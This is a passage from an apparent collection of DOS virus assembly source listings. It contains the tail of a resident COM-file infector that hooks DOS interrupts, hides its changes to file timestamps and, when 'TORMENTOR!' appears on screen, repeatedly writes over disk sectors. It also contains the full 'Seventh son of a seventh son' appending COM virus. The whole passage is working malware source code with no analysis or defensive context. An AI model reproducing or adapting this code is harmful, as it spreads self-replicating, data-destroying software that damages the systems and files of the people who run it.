  4383.  
  4384.         mov    ax,351Ch
  4385.         int    21h
  4386.         mov    word ptr ds:[int1Cret],bx
  4387.         mov    word ptr ds:[int1Cret+2],es
  4388.         mov    al,21h
  4389.         int    21h
  4390.         mov    word ptr ds:[real21+1],bx
  4391.         mov    word ptr ds:[real21+3],es
  4392.         
  4393.         mov    ah,25h
  4394.         mov    dx,offset int21beg
  4395.         int    21h
  4396.         mov    al,1Ch
  4397.         mov    dx,offset int1Cnew
  4398.         int    21h
  4399.     
  4400.         push    cs
  4401.         push    cs
  4402.         pop    es
  4403.         pop    ds
  4404.     
  4405.         ret
  4406.  
  4407. skip:        int    20h        
  4408.         
  4409.  
  4410. int21beg:    push    ax
  4411.         sub    ax,4B00h
  4412.         jz    infect
  4413.         pop    ax
  4414.         cmp    ax,043FFh        ; Check if Harakiri.        
  4415.         jne    real21
  4416.         
  4417.         mov    ax,word ptr ds:[retdata]
  4418.         mov    si,ax
  4419.         mov    di,100h
  4420.         mov    cx,code_end-codebeg
  4421.         rep    movsb
  4422.  
  4423.         mov    ax,100h
  4424.     
  4425.         pop    cx
  4426.         pop    cx
  4427.         push    es
  4428.         push    ax
  4429.         iret
  4430.  
  4431. real21:        db    0EAh, 00h, 00h, 00h, 00h    ; Jump to org21vec.
  4432.  
  4433.  
  4434. retdata:    db    00h, 00h
  4435.  
  4436. f_time:        dw    0000h
  4437.  
  4438. f_date:        dw    0000h    
  4439.  
  4440. infect:        pop    ax
  4441.  
  4442.         push    ax
  4443.         push    bx
  4444.         push    cx
  4445.         push    di
  4446.         push    ds
  4447.         push    dx
  4448.         push    si        
  4449.  
  4450.     
  4451.         mov    ah,43h            ; Get file attr.
  4452.         int    21h
  4453.         mov    ax,4301h
  4454.         and    cx,0FEh            ; Strip the Read-only-flag
  4455.         int    21h
  4456.  
  4457.         mov    ax,3D02h        ; Open victim.
  4458.         int    21h
  4459.  
  4460.         xchg    ax,bx
  4461.  
  4462.         call    sub_2  
  4463.  
  4464. sub_2:        mov    di,sp            ; God what I hate that Eskimo!
  4465.         mov     si,ss:[di]
  4466.         inc    sp
  4467.         inc    sp
  4468.  
  4469.         push    cs
  4470.         pop    ds
  4471.  
  4472.         mov    ax,5700h        ; Get file's time and date
  4473.         int    21h
  4474.         mov    [si-(sub_2-f_time)],cx    
  4475.         mov    [si-(sub_2-f_date)],dx    ; And save them...
  4476.  
  4477.         mov    ah,3Fh            ; Read X byte from begin.
  4478.         mov    cx,code_end-codebeg
  4479.         add    si,code_end-sub_2    ; SI points to EOF    
  4480.         mov    dx,si
  4481.         int    21h            
  4482.  
  4483.         
  4484.         cmp    word ptr [si],'MZ'    ; Mark Zimbowski?
  4485.         je    close
  4486.         cmp    word ptr [si],'ZM'    ; Zimbowski Mark?
  4487.         je     close    
  4488. mark:        cmp    word ptr [si+(mark-codebeg+4)],'YD'    ; infected?
  4489.         je    close
  4490.  
  4491.         call    put_eof            ; move file ptr to EOF
  4492.  
  4493.         cmp    ax,(0FFFFh-(code_end-codebeg)-100h)
  4494.         ja    close
  4495.         cmp    ax,code_end-codebeg+100h
  4496.         jb    close
  4497.  
  4498.         add    ax,100h
  4499.         mov    word ptr ds:[si-(code_end-retdata)],ax    
  4500.  
  4501.         mov    ah,40h            ; Flytta beg to end.
  4502.         mov    cx,code_end-codebeg
  4503.         mov    dx,si
  4504.         int    21h
  4505.         
  4506.         mov    ax,4200h        ; fptr to filbeg.
  4507.         xor     cx,cx
  4508.         xor     dx,dx
  4509.         int    21h
  4510.     
  4511.         mov    ah,40h            ; Write virus to beg.
  4512.         mov    cx,code_end-codebeg
  4513.         mov    dx,si
  4514.         sub    dx,cx
  4515.         int    21h
  4516.  
  4517. close:        mov    ax,5701h
  4518.         mov    cx,[si-(code_end-f_time)]
  4519.         mov    dx,[si-(code_end-f_date)]
  4520.         int    21h
  4521.  
  4522.         mov    ah,3Eh            
  4523.         int    21h            ; close file, bx=file handle
  4524.  
  4525.         pop    si
  4526.         pop    dx
  4527.         pop    ds
  4528.         pop    di
  4529.         pop    cx
  4530.         pop    bx
  4531.         pop    ax
  4532.  
  4533.         
  4534.         jmp    real21
  4535.  
  4536. put_eof:    mov     ax,4202h
  4537.         xor    dx,dx
  4538.         xor    cx,cx
  4539.         int     21h
  4540.         ret
  4541.  
  4542.  
  4543. int1Cnew:    
  4544.  
  4545.         push     ax
  4546.         inc     byte ptr cs:[counter]
  4547.         mov     al,30h
  4548.         cmp     byte ptr cs:[counter],al
  4549.         jz     scan
  4550.         pop     ax
  4551.  
  4552.  
  4553. slut:        jmp     dword ptr cs:[int1Cret]
  4554.  
  4555. scan:       
  4556.         push     bx
  4557.         push     cx
  4558.         push     di
  4559.         push    ds
  4560.         push    dx
  4561.         push    es
  4562.         push    si
  4563.  
  4564.  
  4565.         push     cs
  4566.         pop     ds
  4567.  
  4568.         cld
  4569.         xor     bx,bx
  4570.         mov     byte ptr cs:[counter],bh
  4571.         mov     cx,0FA0h
  4572.  
  4573.         mov     ax,0b800h
  4574.         mov     es,ax
  4575.         xor     di,di
  4576.  
  4577. again:        mov     al,byte ptr cs:[text+bx]
  4578.         sub    al,80h
  4579.         repnz     scasb    
  4580.         jnz     stick
  4581.  
  4582. maybe:        inc     di
  4583.         inc     bx
  4584.         cmp     bx,10d
  4585.         jz    beep
  4586.  
  4587.         mov    al,byte ptr cs:[text+bx]
  4588.         sub    al,80h
  4589.         scasb
  4590.         jz    maybe
  4591.         xor    bx,bx
  4592.         jmp    again
  4593.  
  4594. beep:        
  4595.         xor    cx,cx
  4596.         mov    bx,word ptr cs:[int1Cret]
  4597.         mov    es,word ptr cs:[int1Cret+2]
  4598.         mov    ax,251Ch
  4599.         int    21h
  4600.  
  4601. overagain:    mov    dx,0180h
  4602.         xor    bx,bx
  4603.  
  4604. reset:        mov    ah,00h
  4605.         inc    bx
  4606.         cmp    bl,5h
  4607.         jz    raise        
  4608.         inc    cx
  4609.         int    13h
  4610.  
  4611. hoho:        mov    ax,0380h
  4612.         inc    cx
  4613.         int    13h
  4614.         jc    reset
  4615.         jmp     hoho        
  4616.  
  4617. raise:        xor    cx,cx
  4618.         xor    bx,bx
  4619.         inc    dx
  4620.         cmp    dl,85h
  4621.         jnz    hoho
  4622.         jmp    overagain    
  4623.                     
  4624. stick:
  4625.         pop    si        
  4626.         pop    es
  4627.         pop    dx
  4628.         pop     ds
  4629.         pop     di
  4630.         pop     cx
  4631.         pop     bx         
  4632.         pop     ax
  4633.  
  4634.  
  4635.         jmp     slut
  4636.  
  4637.  
  4638. counter:    db     00h
  4639.  
  4640. text:         db     'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h
  4641.         db    'T'+80h, 'O'+80h, 'R'+80h, '!'+80h
  4642.  
  4643.             ; This is what it scans the screen for --^
  4644.  
  4645. int1Cret:    db    0EAh, 00h, 00h, 00h, 00h
  4646.  
  4647. code_end:                    ; THE END.
  4648.  
  4649. code        ends
  4650. end        codebeg
  4651.  
  4652. done
  4653.  
  4654. ;****************************************************************************
  4655. ;*              Seventh son of a seventh son    version 2
  4656. ;****************************************************************************
  4657.  
  4658. cseg            segment
  4659.                 assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
  4660.  
  4661. FILELEN         equ     end - start
  4662. MINTARGET       equ     1000
  4663. MAXTARGET       equ     -(FILELEN+40h)
  4664.  
  4665.                 org     100h
  4666.  
  4667.                 .RADIX  16
  4668.  
  4669.  
  4670. ;****************************************************************************
  4671. ;*              Dummy program (infected)
  4672. ;****************************************************************************
  4673.  
  4674. begin:          db      4Dh
  4675.                 jmp     start
  4676.  
  4677.  
  4678. ;****************************************************************************
  4679. ;*              Begin of the virus
  4680. ;****************************************************************************
  4681.  
  4682. start:          call    start2
  4683. start2:         pop     bp
  4684.                 sub     bp,0103h
  4685.  
  4686.                 lea     si,[bp+offset begbuf-4] ;restore begin of file
  4687.                 mov     di,0100h
  4688.                 movsw
  4689.                 movsw
  4690.  
  4691.                 mov     ax,3300h                ;get ctrl-break flag
  4692.                 int     21
  4693.                 push    dx
  4694.  
  4695.                 xor     dl,dl                   ;clear the flag
  4696.                 mov     ax,3301h
  4697.                 int     21
  4698.  
  4699.                 mov     ax,3524h                ;get int24 vector
  4700.                 int     21
  4701.                 push    bx
  4702.                 push    es
  4703.  
  4704.                 mov     dx,offset ni24 - 4      ;set new int24 vector
  4705.                 add     dx,bp
  4706.                 mov     ax,2524h
  4707.                 int     21
  4708.  
  4709.                 lea     dx,[bp+offset end]      ;set new DTA adres
  4710.                 mov     ah,1Ah
  4711.                 int     21
  4712.                 add     dx,1Eh
  4713.                 mov     word ptr [bp+offset nameptr-4],dx
  4714.  
  4715.                 lea     si,[bp+offset grandfather-4]  ;check generation
  4716.                 cmp     [si],0606h
  4717.                 jne     verder
  4718.  
  4719.                 lea     dx,[bp+offset sontxt-4]     ;7th son of a 7th son!
  4720.                 mov     ah,09h
  4721.                 int     21
  4722.  
  4723. verder:         mov     ax,[si]                 ;update generations
  4724.                 xchg    ah,al
  4725.                 xor     al,al
  4726.                 mov     [si],ax
  4727.  
  4728.                 lea     dx,[bp+offset filename-4]  ;find first COM-file
  4729.                 xor     cx,cx
  4730.                 mov     ah,4Eh
  4731.                 int     21
  4732.  
  4733. infloop:        mov     dx,word ptr [bp+offset nameptr-4]
  4734.                 call    infect
  4735.  
  4736.                 mov     ah,4Fh                  ;find next file
  4737.                 int     21
  4738.                 jnc     infloop
  4739.  
  4740.                 pop     ds                      ;restore int24 vector
  4741.                 pop     dx
  4742.                 mov     ax,2524h
  4743.                 int     21
  4744.  
  4745.                 pop     dx                      ;restore ctrl-break flag
  4746.                 mov     ax,3301h
  4747.                 int     21
  4748.  
  4749.                 push    cs
  4750.                 push    cs
  4751.                 pop     ds
  4752.                 pop     es
  4753.                 mov     ax,0100h                ;put old start-adres on stack
  4754.                 push    ax
  4755.  
  4756.                 ret
  4757.  
  4758.  
  4759. ;****************************************************************************
  4760. ;*              Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
  4761. ;****************************************************************************
  4762.  
  4763. infect:         cld
  4764.  
  4765.                 mov     ax,4300h                ;ask attributes
  4766.                 int     21
  4767.                 push    cx
  4768.  
  4769.                 xor     cx,cx                   ;clear flags
  4770.                 call    setattr
  4771.                 jc      return1
  4772.  
  4773.                 mov     ax,3D02h                ;open the file
  4774.                 int     21
  4775.                 jc      return1
  4776.                 xchg    bx,ax
  4777.  
  4778.                 mov     ax,5700h                ;get file date & time
  4779.                 int     21
  4780.                 push    cx
  4781.                 push    dx
  4782.  
  4783.                 mov     cx,4                    ;read begin of file
  4784.                 lea     dx,[bp+offset begbuf-4]
  4785.                 mov     ah,3fh
  4786.                 int     21
  4787.  
  4788.                 mov     al,byte ptr [bp+begbuf-4]  ;already infected?
  4789.                 cmp     al,4Dh
  4790.                 je      return2
  4791.                 cmp     al,5Ah                  ;or a weird EXE?
  4792.                 je      return2
  4793.  
  4794.                 call    endptr                  ;get file-length
  4795.  
  4796.                 cmp     ax,MAXTARGET            ;check length of file
  4797.                 jnb     return2
  4798.                 cmp     ax,MINTARGET
  4799.                 jbe     return2
  4800.  
  4801.                 push    ax
  4802.                 mov     cx,FILELEN              ;write program to end of file
  4803.                 lea     dx,[bp+offset start-4]
  4804.                 mov     ah,40h
  4805.                 int     21
  4806.                 cmp     ax,cx                   ;are all bytes written?
  4807.                 pop     ax
  4808.                 jnz     return2
  4809.  
  4810.                 sub     ax,4                    ;calculate new start-adres
  4811.                 mov     word ptr [bp+newbeg-2],ax
  4812.  
  4813.                 call    beginptr                ;write new begin of file
  4814.                 mov     cx,4
  4815.                 lea     dx,[bp+offset newbeg-4]
  4816.                 mov     ah,40h
  4817.                 int     21
  4818.  
  4819.                 inc     byte ptr [si]           ;number of next son
  4820.  
  4821. return2:        pop     dx                      ;restore file date & time
  4822.                 pop     cx
  4823.                 mov     ax,5701h
  4824.                 int     21
  4825.  
  4826.                 mov     ah,3Eh                  ;close the file
  4827.                 int     21
  4828.  
  4829. return1:        pop     cx                      ;restore file-attribute
  4830. ;                call    setattr
  4831.  
  4832. ;                ret
  4833.  
  4834.  
  4835. ;****************************************************************************
  4836. ;*              Changes file-attributes
  4837. ;****************************************************************************
  4838.  
  4839. setattr:        mov     dx,word ptr [bp+offset nameptr-4]
  4840.                 mov     ax,4301h
  4841.                 int     21
  4842.                 ret
  4843.  
  4844.  
  4845. ;****************************************************************************
  4846. ;*              Subroutines for file-pointer
  4847. ;****************************************************************************
  4848.  
  4849. beginptr:       mov     ax,4200h                ;go to begin of file
  4850.                 jmp     short ptrvrdr
  4851.  
  4852. endptr:         mov     ax,4202h                ;go to end of file
  4853. ptrvrdr:        xor     cx,cx
  4854.                 xor     dx,dx
  4855.                 int     21
  4856.                 ret
  4857.  
  4858.  
  4859. ;****************************************************************************
  4860. ;*              Interupt handler 24
  4861. ;****************************************************************************
  4862.  
  4863. ni24:           mov     al,03
  4864.                 iret
  4865.  
  4866.  
  4867. ;****************************************************************************
  4868. ;*              Data
  4869. ;****************************************************************************
  4870.  
  4871. begbuf          db      0CDh,  20h, 0, 0
  4872. newbeg          db       4Dh, 0E9h, 0, 0
  4873. nameptr         dw      ?
  4874. sontxt          db      'Seventh son of a seventh son',0Dh, 0Ah, '$'
  4875. grandfather     db      0
  4876. father          db      0
  4877. filename        db      '*.COM',0
  4878.                 db      'é¿░│▒'
  4879.  
  4880. end:
  4881.  
  4882. cseg            ends
  4883.                 end     begin
  4884.  
  4885. done
  4886.